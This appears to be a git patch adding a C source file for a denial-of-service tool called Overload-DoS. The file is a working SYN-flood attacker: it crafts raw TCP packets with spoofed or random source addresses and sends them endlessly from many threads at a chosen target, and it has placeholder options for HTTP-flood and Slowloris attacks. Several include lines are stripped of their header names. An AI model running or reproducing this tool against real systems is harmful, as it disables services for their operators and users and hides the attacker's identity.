From 54488abb9e01b8da24f4e405b1a550e5456e0059 Mon Sep 17 00:00:00 2001 From: ClumsyLulz <86472964+SleepTheGod@users.noreply.github.com> Date: Thu, 9 Oct 2025 02:46:15 -0400 Subject: [PATCH] Create fuck.c --- fuck.c | 438 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 438 insertions(+) create mode 100644 fuck.c diff --git a/fuck.c b/fuck.c new file mode 100644 index 0000000..ecaf10f --- /dev/null +++ b/fuck.c @@ -0,0 +1,438 @@ +#include +#include +#include +#include // For getopt_long, geteuid +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include // For gethostbyname + +// For threading (pthreads) +#include + +// For getopt_long +#include + +// --- Global variables and constants --- +#define VERSION "1.0" +#define MAX_THREADS 5000 // A reasonable max for SYN flood threads +#define PACKET_LEN 40 // IP header (20) + TCP header (20) + +// Function to calculate TCP checksum +unsigned short csum(unsigned short *ptr, int nbytes) { + long sum; + unsigned short oddbyte; + short answer; + + sum = 0; + while (nbytes > 1) { + sum += *ptr++; + nbytes -= 2; + } + if (nbytes == 1) { + oddbyte = 0; + *((unsigned char*)&oddbyte) = *(unsigned char*)ptr; + sum += oddbyte; + } + + sum = (sum >> 16) + (sum & 0xffff); + sum = sum + (sum >> 16); + answer = (short)~sum; + + return answer; +} + +// Structure to pass arguments to threads +typedef struct { + char *target_ip; + char *spoof_ip; + int port; + int sockfd; // Socket descriptor for raw socket +} syn_thread_args; + +// Function to generate a fake IP (simple version) +void generate_fake_ip(char *ip_buffer, size_t buffer_size) { + int octet[4]; + // Seed RNG more robustly. Using rand() in a loop without re-seeding within the loop is fine. + // srand() should ideally be called once at the start of the program. + // For this context, it's called once in main. + for (int i = 0; i < 4; ++i) { + octet[i] = rand() % 255; + } + + if (octet[0] == 127) { // Avoid 127.x.x.x + // If it starts with 127, regenerate until it doesn't. + // This is a simple fix; a more robust solution might avoid it during generation. + do { + for (int i = 0; i < 4; ++i) { + octet[i] = rand() % 255; + } + } while (octet[0] == 127); + } + snprintf(ip_buffer, buffer_size, "%d.%d.%d.%d", octet[0], octet[1], octet[2], octet[3]); +} + +// SYN Flood Thread function +void *syn_flood_thread(void *args) { + syn_thread_args *t_args = (syn_thread_args *)args; + + char datagram[PACKET_LEN]; + struct iphdr *iph = (struct iphdr *)datagram; + struct tcphdr *tcph = (struct tcphdr *)(datagram + sizeof(struct iphdr)); + struct sockaddr_in sin; + + // For pseudo header checksum calculation + struct pseudo_header { + unsigned int source_address; + unsigned int dest_address; + unsigned char placeholder; + unsigned char protocol; + unsigned short tcp_length; + } psh; + + // IP header + iph->ihl = 5; + iph->version = 4; + iph->tos = 0; + iph->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr)); // htons for network byte order + iph->id = htons(54321 + (rand() % 1000)); // ID of this packet (randomize slightly) + iph->frag_off = 0; + iph->ttl = 255; // Time to live + iph->protocol = IPPROTO_TCP; + iph->check = 0; // Set to 0 before calculating checksum + iph->saddr = inet_addr(t_args->spoof_ip); // Spoofed source IP + iph->daddr = inet_addr(t_args->target_ip); + + // TCP header + tcph->source = htons(rand() % 65535); // Source port (random) + tcph->dest = htons(t_args->port); + tcph->seq = htonl(rand() % 90000000 + 1); // Random sequence number + tcph->ack_seq = 0; // No ACK in SYN + tcph->doff = 5; // TCP header size + tcph->fin = 0; + tcph->syn = 1; // SYN flag set + tcph->rst = 0; + tcph->psh = 0; + tcph->ack = 0; + tcph->urg = 0; + tcph->window = htons(5840); // Window size + tcph->check = 0; // Set to 0 before calculating checksum + tcph->urg_ptr = 0; + + // IP checksum calculation + iph->check = csum((unsigned short *)datagram, sizeof(struct iphdr)); + + // TCP checksum (requires pseudo header) + psh.source_address = inet_addr(t_args->spoof_ip); + psh.dest_address = inet_addr(t_args->target_ip); + psh.placeholder = 0; + psh.protocol = IPPROTO_TCP; + psh.tcp_length = htons(sizeof(struct tcphdr)); + + int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr); + char *pseudogram = malloc(psize); + if (pseudogram == NULL) { + perror("malloc failed for pseudogram"); + pthread_exit(NULL); + } + + memcpy(pseudogram, (char*)&psh, sizeof(struct pseudo_header)); + memcpy(pseudogram + sizeof(struct pseudo_header), tcph, sizeof(struct tcphdr)); + + tcph->check = csum((unsigned short*)pseudogram, psize); + + free(pseudogram); + + sin.sin_family = AF_INET; + sin.sin_port = htons(t_args->port); // Not strictly needed for raw socket sendto, but good practice + sin.sin_addr.s_addr = inet_addr(t_args->target_ip); + + // Send the packet + if (sendto(t_args->sockfd, datagram, ntohs(iph->tot_len), 0, (struct sockaddr *)&sin, sizeof(sin)) < 0) { + // perror("sendto failed"); // Uncomment for debugging + } else { + // printf("Packet sent to %s:%d from %s\n", t_args->target_ip, t_args->port, t_args->spoof_ip); // Uncomment for debugging + } + + pthread_exit(NULL); +} + +// Function to resolve hostname to IP +int resolve_hostname(const char *hostname, char *ip_buffer, size_t buffer_size) { + struct hostent *he; + struct in_addr **addr_list; + + if ((he = gethostbyname(hostname)) == NULL) { + // Use hstrerror for host-related errors + fprintf(stderr, "gethostbyname error for %s: %s\n", hostname, hstrerror(h_errno)); + return -1; + } + + addr_list = (struct in_addr **)he->h_addr_list; + if (addr_list[0] != NULL) { + strncpy(ip_buffer, inet_ntoa(*addr_list[0]), buffer_size - 1); + ip_buffer[buffer_size - 1] = '\0'; + return 0; + } + return -1; +} + +// Function to handle Ctrl+C +void sigint_handler(int sig) { + printf("\n[+] Attack canceled by user\n"); + exit(0); +} + +// Function to print usage/help message +void print_usage(const char *prog_name) { + printf("Usage: %s [OPTIONS]\n", prog_name); + printf(" -t, --target Specify your target\n"); + printf(" -p, --port Specify target port (default = 80)\n"); + printf(" -T, --threads Set threads number for connection (default = 1000)\n"); + printf(" -S, --spoof Specify spoofed IP address\n"); + printf(" -F, --fakeip Option to create fake IP if not specified for spoofed IP\n"); + printf(" --syn Enable SYN attack\n"); + printf(" --request Enable HTTP request attack (not fully implemented)\n"); + printf(" --slow Enable Slowloris attack (not fully implemented)\n"); + printf(" -h, --help Display this help message\n"); + printf("\nExample:\n"); + printf(" %s --target www.example.com --syn -T 2000\n", prog_name); + printf(" %s -t 192.168.1.1 -p 443 --fakeip --syn\n", prog_name); + printf(" %s --help\n", prog_name); +} + +int main(int argc, char *argv[]) { + signal(SIGINT, sigint_handler); + srand(time(NULL)); // Seed for random numbers once + + printf("\n"); + printf(" ___ _ _ ____ ____ \n"); + printf(" / _ \\__ _____ _ __| | ___ __ _ __| | | _ \\ ___/ ___| \n"); + printf(" | | | \\ \\ / / _ \\ '__| |/ _ \\ / _` |/ _` |_____| | | |/ _ \\___ \\ \n"); + printf(" | |_| |\\ V / __/ | | | (_) | (_| | (_| |_____| |_| | (_) |__) |\n"); + printf(" \\___/ \\_/ \\___|_| |_|\\___/ \\__,_|\\__,_| |____/ \\___/____/ \n"); + printf(" \n"); + printf(" Developed by Chris Poole | @codingplanets \n"); + printf(" https://github.com/codingplanets/Overload-DoS\n"); + printf(" Version: %s\n", VERSION); + printf("\n"); + + char *target_hostname = NULL; + char target_ip[INET_ADDRSTRLEN]; + int port = 80; + int num_threads = 1000; + char *spoof_ip = NULL; + int fakeip_flag = 0; + int syn_attack = 0; + int request_attack = 0; + int slow_attack = 0; + + int opt; + // Define long options + static struct option long_options[] = { + {"target", required_argument, 0, 't'}, + {"port", required_argument, 0, 'p'}, + {"threads", required_argument, 0, 'T'}, + {"spoof", required_argument, 0, 'S'}, + {"fakeip", no_argument, 0, 'F'}, + {"syn", no_argument, 0, 0}, // Custom flag, handled by index or value + {"request", no_argument, 0, 0}, + {"slow", no_argument, 0, 0}, + {"help", no_argument, 0, 'h'}, + {0, 0, 0, 0} // Terminator + }; + + int long_index = 0; + // Short options string: t:, p:, T:, S:, F, h. Colon indicates required argument. + while ((opt = getopt_long(argc, argv, "t:p:T:S:Fh", long_options, &long_index)) != -1) { + switch (opt) { + case 't': + target_hostname = optarg; + break; + case 'p': + port = atoi(optarg); + if (port <= 0 || port > 65535) { + fprintf(stderr, "Error: Invalid port number. Must be between 1-65535.\n"); + exit(1); + } + break; + case 'T': + num_threads = atoi(optarg); + if (num_threads <= 0) { + fprintf(stderr, "Error: Number of threads must be positive.\n"); + exit(1); + } + break; + case 'S': + spoof_ip = optarg; + break; + case 'F': + fakeip_flag = 1; + break; + case 0: // Long options without short equivalents + if (strcmp("syn", long_options[long_index].name) == 0) { + syn_attack = 1; + } else if (strcmp("request", long_options[long_index].name) == 0) { + request_attack = 1; + } else if (strcmp("slow", long_options[long_index].name) == 0) { + slow_attack = 1; + } + break; + case 'h': + case '?': // getopt_long returns '?' for unknown option or missing argument + print_usage(argv[0]); + exit(opt == 'h' ? 0 : 1); + } + } + + // After parsing, check for required arguments and mutually exclusive flags + if (!target_hostname) { + fprintf(stderr, "Error: Target must be specified.\n"); + print_usage(argv[0]); + exit(1); + } + + // Resolve target hostname to IP address + if (resolve_hostname(target_hostname, target_ip, sizeof(target_ip)) != 0) { + exit(1); // Error message already printed by resolve_hostname + } + printf("[*] Resolved target %s to %s\n", target_hostname, target_ip); + + // Check that only one attack type is selected + int attack_types_selected = syn_attack + request_attack + slow_attack; + if (attack_types_selected == 0) { + fprintf(stderr, "Error: You must specify an attack type (--syn, --request, or --slow).\n"); + print_usage(argv[0]); + exit(1); + } else if (attack_types_selected > 1) { + fprintf(stderr, "Error: Only one attack type can be specified at a time.\n"); + print_usage(argv[0]); + exit(1); + } + + + if (syn_attack) { + if (geteuid() != 0) { + fprintf(stderr, "[+] You haven't enough permission to run this script (requires root for raw sockets).\n"); + exit(1); + } + printf("[*] You have enough permission to run Overload-v%s\n", VERSION); + sleep(1); + + int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); + if (sockfd < 0) { + perror("Failed to create raw socket"); + exit(1); + } + printf("[*] Raw socket created successfully.\n"); + + int one = 1; + const int *val = &one; + if (setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0) { + perror("setsockopt(IP_HDRINCL) error"); + close(sockfd); + exit(1); + } + printf("[*] IP_HDRINCL set on socket.\n"); + + printf("[*] SYN flood started on: %s:%d\n", target_ip, port); + + pthread_t *threads = malloc(sizeof(pthread_t) * num_threads); + if (threads == NULL) { + perror("malloc failed for threads array"); + close(sockfd); + exit(1); + } + // Each thread needs its own argument struct. If we reuse, current_spoof_ip might change + // while a thread is still using it. A safer approach for this simple example + // is to allocate args for each thread. For a high-performance scenario, + // a pool of pre-allocated args or a lock for shared resources would be better. + syn_thread_args *thread_args_array = malloc(sizeof(syn_thread_args) * num_threads); + if (thread_args_array == NULL) { + perror("malloc failed for thread_args_array"); + free(threads); + close(sockfd); + exit(1); + } + // Allocate space for current_spoof_ip if it's dynamically generated + char (*spoof_ip_storage)[INET_ADDRSTRLEN] = NULL; + if (spoof_ip == NULL || fakeip_flag) { + spoof_ip_storage = malloc(sizeof(char) * INET_ADDRSTRLEN * num_threads); + if (spoof_ip_storage == NULL) { + perror("malloc failed for spoof_ip_storage"); + free(thread_args_array); + free(threads); + close(sockfd); + exit(1); + } + } + + + int thread_idx = 0; + while (1) { + char current_spoof_ip_local[INET_ADDRSTRLEN]; // Use a local buffer for each iteration + + if (spoof_ip == NULL || fakeip_flag) { + generate_fake_ip(current_spoof_ip_local, sizeof(current_spoof_ip_local)); + // If using a dedicated storage for each thread's spoof IP: + // strncpy(spoof_ip_storage[thread_idx], current_spoof_ip_local, INET_ADDRSTRLEN - 1); + // spoof_ip_storage[thread_idx][INET_ADDRSTRLEN - 1] = '\0'; + // thread_args_array[thread_idx].spoof_ip = spoof_ip_storage[thread_idx]; + } else { + strncpy(current_spoof_ip_local, spoof_ip, sizeof(current_spoof_ip_local) - 1); + current_spoof_ip_local[sizeof(current_spoof_ip_local) - 1] = '\0'; + } + // For simplicity, directly assign a copy of the spoof_ip string to the thread_args + // This requires thread_args_array to be large enough for all spoof_ip strings or manage them dynamically. + // For this example, we'll simplify and use a fixed-size char array in the struct and copy. + // A more robust solution would pass the dynamically generated string to the thread and have the thread copy it. + + // Allocate and copy spoof_ip for each thread argument dynamically + char *thread_spoof_ip = strdup(current_spoof_ip_local); + if (thread_spoof_ip == NULL) { + perror("strdup failed for spoof IP"); + // Handle error + continue; // Try next iteration + } + + thread_args_array[thread_idx].target_ip = target_ip; + thread_args_array[thread_idx].spoof_ip = thread_spoof_ip; // Assign the copied string + thread_args_array[thread_idx].port = port; + thread_args_array[thread_idx].sockfd = sockfd; + + if (pthread_create(&threads[thread_idx], NULL, syn_flood_thread, (void *)&thread_args_array[thread_idx]) != 0) { + perror("Failed to create thread"); + free(thread_spoof_ip); // Free if thread creation fails + } else { + // Detach thread to clean up resources automatically + pthread_detach(threads[thread_idx]); + } + + thread_idx = (thread_idx + 1) % num_threads; + + // Small delay to prevent overwhelming the system with packet sending/thread ops + usleep(100); // 100 microseconds + } + + // Cleanup (unreachable in the infinite loop, but good for completeness if loop was bounded) + free(threads); + free(thread_args_array); + if (spoof_ip_storage) free(spoof_ip_storage); + close(sockfd); + } else if (request_attack) { + fprintf(stderr, "HTTP Request attack not yet implemented in C example.\n"); + // Implementation for HTTP client (e.g., using libcurl) + } else if (slow_attack) { + fprintf(stderr, "Slowloris attack not yet implemented in C example.\n"); + // Implementation for Slowloris + } + + return 0; +}